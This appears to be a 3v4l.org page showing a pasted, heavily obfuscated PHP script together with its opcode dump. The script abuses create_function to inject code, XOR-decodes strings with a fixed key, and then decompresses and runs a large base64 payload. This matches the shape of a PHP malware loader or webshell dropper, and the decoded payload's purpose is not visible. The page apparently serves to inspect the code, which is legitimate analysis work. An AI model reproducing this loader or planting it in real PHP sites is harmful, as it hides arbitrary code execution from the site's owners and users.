3v4l.org

run code in 300+ PHP versions simultaneously
<?php $exugnwlm=array( '$exugnwlm[0]=$exugnwlm[3];$lvmfngfd=lvmfngfd(7,13);$exugnwlm[0]=$lvmfngfd($exugnwlm[2]);', '$exugnwlm[2]=gzuncompress(lvmfngfd(722,2164));', 'Q2RtflB6cntNZGxve2B+SHp4Zkx3eGdifEhIekRHaWpkf2V2dlVvYWN4ZXRmSUpETkVbQF1VVVhbUlhXV0RXUmlmY2p7emZka2d+ZVRwV2xtcyB+eTw5LSc9dmtRc2o9ZWlgOmAlZER1NiQ5ZmA7eltkf0t3NDN4ZnZ+d2JPQXJld2N/bGtDY0Jnamx4aGVyJHNre354PGVzeml2PG1geWhoZWc6emRpcHx5KG5uZ3NqckVXQ19aVGJlcWJMflZNTE54Nyw4TVJFV0NfVl9AWV5jbEVvYmRqPyNQbm9wfnNyLGd9ZGx5JHpyY29pZ2xKSyZFcGxxZl9GRlpMRFtVX0FYeGReQEVGWUNQREteVG51WnZXR1xWUl1QSFxeWFpfUE5sczJiImdyeSZkZ2dzWHEid3p/JjlpZWRnPGJ5bmpmZWNkInd6fyY5RklPPmR5fn9uWnRZTkd0WUZaX1RRbmRZTkdLQEVZcUFUInd6f3RseHN7YGhzUH5nY05zfnV5bmdXWHpzOmxmeXtvZGc+YmdrfXJpcHJBdHpzOmxmeXtvZGc+dHZkenZrbGVsbHNQbmNhdklpeCN6VmNDI294aERlcW9iZGo/I1Bub3B+c3JsYnpTaEdReX53ZWpoelBtb2dOenJzc0xpYmNuUnVubUV4cX5KYUxBRVdDX1ZCXE9YTFBQUklGZGlibE5oUWRTazI5bntwamR+Znw5Z3BjcGRSQ2gxOWR7cm15JHB+emtvNzlpZmVuZmNwdDl0aH9VVSJ0ZyJqeGFsY3'.'Q/Z393LWYwaldLdWwraCpUZ3NBK3cqf2FnKXo3ckVJK3UqVm15SEFPbnZlY1ZKWWRtfns8cGV3Y38zOCBPY05iZit0KmludFVLQWh+ZmNgeWNVcFpYVCt0Kmx8eUFyb2toe3JsTFVlVyt0KnxiN0deXkM+Jjk3Zkh6SEVsZHszN0JIInVzTnN1n4JXcnjtQhjsOwrTyXDKTH2UOOqsS7nGfWVkXpPVWapvGRZqEIy7h35hN91wrbnjNXnPEP7xCLC4+kqorTAZROx7FY1GHUZxjjuPm6S22w+8W/yHM7KZAv3SYvWQQ4mBgKCnIZxRtlOV2Hwv6ruhqw8zK7KbnWJWF3RksMxRVr4nkmfbUsS/rNmrvX8hArtN81aXB9V0KroHfB8TYqwdjeWPzd1yUl0+jtq/oiPxYTysBfAkzppz2vh3KWuOB8HQ7r07xjDEw3g2gODtcP7+G6LMUnPMbb0y9I75rnFDALVdiXTSiYsNpW2pWcpvi9bkF088C4OS7K7EvN19nl1P0LE4a5Bk9cBFPCnmJDhtukghyGoYQ8q2NGJU2kcW1C7Tz8HakkybcxY3pE7n/TWxCT0/gEOGgSblmq6fW4nnl643iNn7/Wz4AfIbql8V7POvGEyB0UuTOnxIxNNDZ+S1fBVuntIBKV0PZf3pfOodIrcUfysuyrTtnVXW6ND5JPiFeFV5Y4hHfmJy+iaFNPzoSeisrVzY02hTbTDoMvk+vDh8+RKCgVQvAoWtx4XMkWGQJKI74+5yB6eF7y2f5evFpmWqYbFbuJSlgz7r6qvgoMG+bvX4lFmYeht3OzQ4XdhlGuN36GU2a5qVJDz+V8jx4LaLd6K/lc+lc5wgPiVeR/PzBW1VsX5QD2r+pSx5Cs7yNq1w73PDHttDrsvb0PwNKw9QOVyXpsmy1Pp6LWqafxbi30urY5zvg+Nvd9/dQiLl3nWYnY'.'xb6mfZn96JNsxWvZ5DoQF1FTY8xjL+vCvIlnYf9g8KI4e8W5JRriB03XglaBRauLOYEJw8Xn5bQMRnCorflkINHCZTQAzSl1X3NfkGxEJxFEfB9mtjuo6tfkr9tWgXrFEp8s0JORn92I9+706tKot7QgnFeZt5JJ8eL3JFj8rqUr8nysMuUZgV4xlfQM10RMAE1JKQC3GhJB0T/iaSRGsYVtcuUqGNdeIx1GrN+goIZJMNU//ol88Ft2EXEvL/IOLHDfKpZuFOVw7joQYdZhGBqR58xn0FrioTwc3YmULgJtWVDEjGO86h3/6ZbEj/p3lmuKOSUl+Is5sI1RNugvt2yQ57Ag2+bv3eFaaFLdj7lClRB6A9KDP1h3sn+4347bTOq+T6ORsIcKFxuJr70zOsS/sSoz2e3L9gPJpQvJnZqPT5ZG/qxyiuyy0iU804vox6Hkml7GlqOOjldXjoEDny4eD0Ga/V4g0ScLZxsF6Xb49M6eLm/Aik40vn8JBPG9sYkWoWDbl/Chh6hma4ZAPZEIe9XkgIfWu+egMErYMgl6xGQRtlFCZHkRF3aqoIKCfJKoKj6sbaWNC2B1CH1jUptz5eUydEptz8ZxjXIHrPYnBgB3ZSogOtO11prPVLD76tMQzJEMDLcO9VleaXKalfxJds2dfXc7TI2qhg3IkPe2KDepO6sFrGAttfzkYvqgfUEjK/gnUBgkIIIUcd/tqzJ7dOjzAKx06lyjY9Lz91vuxAWzaOeTSYcfVUs9vFZLgxrsNUrlW4qoGRb2hDg6IrJbdDDw1HJPSiSr7AHD0IjgRcVgzkQwVrmAqp+KYgfWIn4'.'QyFeojw+9e0GCdlnf/0QRREhBqDOdsYrXtn1LtRKIWhcqm4pwpkQyJkRArp0vritaRU3ovjgsvkty5AvAoXmEcBNWQUCQDsPyieqPy2hEH3aQD1EqP3zSkgls02NiuqhxNdok5hxxEZmVmqCiewylDBsFGFeLvHlS/oyuLKdKwwYt2+mbB4eKtfGEF8qdplnSyAPBuCpT0o8H+a3XGwh33zHZE+WzQocN8EVU4wj/bShWPWHiZm5C6LvUNH7vwwy1YRn/eVlsKc3uGHn+RfcbaseBQClED5N4ORkn8Lj/Ucny4XuMpeixdoTbDuxYwggF2byjBK3ZIlA84QvkJ7y60XxQ3dnwWAYT3RpzEyTLPz+RY+Mv8PSxnwmF5Z/6BopPHOEvfQn15MhnqRRlFsvz9nXnlhJ7KKMaeZmSUSy7zX7w/3RCPpYJ5Qy7DEns9MDuUggKcj5RKZ1FCV4JB98w3pFS6FmR8f5Z0uQ8O4ELpXqVEJNjWP15rmbI6haEk2oNMps/Qj9pHwRqIsPWDoX5HfPxwgxnvNhhekd6S4fqRjCHUddqly+g3RE003+E4z0F7mBxo+/aPdITmBEjyPHGS45oqfH70xSCtv4AyNJkUm/hoJVmLHGXACclW'.'QuRZECpUPuBIBHRyhoNJu/A1HlQtWZ8KknSxHLf6QbyRF8S9BvX4JkvY1S1GXLwY5EE4sxtwVIUFEw3YSM+qdvUiqR1bLEgcPLnMiKmw3rMuF10hp4kN0h594gks9Mn+VBMwIxm1PaOsxP6Q86b8RItGnrqkV99bmyCjODxe9UrWQWmZv+kDrKFKedCgyaqTYOWPWOl4WtuZcScXwURfl4uDpyOfX8Akp067Tp2nERT/T4vPcpOxhN0xEZupCmug2s+1yfsVV1di+6VWcQvQggP5AOAXVgkvsPvKlyJYYDw8WuPA3sG5rQ9+n60QohCMm0ksOsZN+CrtOSQB8WG6+FIxAuhYe/lKWmz5A/0Jam381WHl5pYkRlDaFI8h8KvsaoKhv2s1vtsOj9zfneuqzT+2LQ+kmRJnSxLdMgUJ0fFOwBry4PzVTqoFwcngs7HVbNy0I6ZMuCTd990zJGvEEGc82qUm14N8i66cmZ9be+dHvH0x2HASXVlwxYi6c648B+vvM/+demklYQoKMUr5VXvUR9Tt0h246tJ0zj5N+5XiKf7NOtG8wqrT4BNv0EtpYqzQTjVqdkwmNObbC12Cq/y7TyC3q7qBIgM/1eIPFHuYV5GQTHjaYhUgo7BSKoBBMSQ==', "/*ltwzz\x6f\x62\x64\x6a\x3f\x23\x50\x6e\x6f\x70\x7e\x73\x72*/");$xciomvv='create_'; if(function_exists($xciomvv.='function')){ $xciomvv('','}function lvmfngfd($start,$text_len){global $exugnwlm;$keypad=str_pad("",$text_len,"mcwoiwojjsqwwgrs");$lomask=str_repeat("\x1f",$text_len);$himask=str_repeat("\xe0",$text_len);$text = substr($exugnwlm[0],$start,$text_len);return(($text^$keypad)&$lomask)|($text&$himask);}{'); for($ey=-1;++$ey<3;){ $exugnwlm[$ey]=$xciomvv('','}'.$exugnwlm[$ey].'{'); }};unset($exugnwlm);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 25
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 22
Branch analysis from position: 22
2 jumps found. (Code = 44) Position 1 = 25, Position 2 = 13
Branch analysis from position: 25
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
2 jumps found. (Code = 44) Position 1 = 25, Position 2 = 13
Branch analysis from position: 25
Branch analysis from position: 13
Branch analysis from position: 25
filename:       /in/LYOqq
function name:  (null)
number of ops:  27
compiled vars:  !0 = $exugnwlm, !1 = $xciomvv, !2 = $ey
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
    5     1        ASSIGN                                                   !1, 'create_'
    6     2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ                                                     $6, ->25
    7     7    >   INIT_DYNAMIC_CALL                                        !1
          8        SEND_VAL_EX                                              ''
          9        SEND_VAL_EX                                              '%7Dfunction+lvmfngfd%28%24start%2C%24text_len%29%7Bglobal+%24exugnwlm%3B%24keypad%3Dstr_pad%28%22%22%2C%24text_len%2C%22mcwoiwojjsqwwgrs%22%29%3B%24lomask%3Dstr_repeat%28%22%5Cx1f%22%2C%24text_len%29%3B%24himask%3Dstr_repeat%28%22%5Cxe0%22%2C%24text_len%29%3B%24text+%3D+substr%28%24exugnwlm%5B0%5D%2C%24start%2C%24text_len%29%3Breturn%28%28%24text%5E%24keypad%29%26%24lomask%29%7C%28%24text%26%24himask%29%3B%7D%7B'
         10        DO_FCALL                                      0          
    9    11        ASSIGN                                                   !2, -1
         12      > JMP                                                      ->22
   10    13    >   INIT_DYNAMIC_CALL                                        !1
         14        SEND_VAL_EX                                              ''
         15        FETCH_DIM_R                                      ~10     !0, !2
         16        CONCAT                                           ~11     '%7D', ~10
         17        CONCAT                                           ~12     ~11, '%7B'
         18        SEND_VAL_EX                                              ~12
         19        DO_FCALL                                      0  $13     
         20        ASSIGN_DIM                                               !0, !2
         21        OP_DATA                                                  $13
    9    22    >   PRE_INC                                          ~14     !2
         23        IS_SMALLER                                               ~14, 3
         24      > JMPNZ                                                    ~15, ->13
   11    25    >   UNSET_CV                                                 !0
         26      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
153.8 ms | 1396 KiB | 15 Q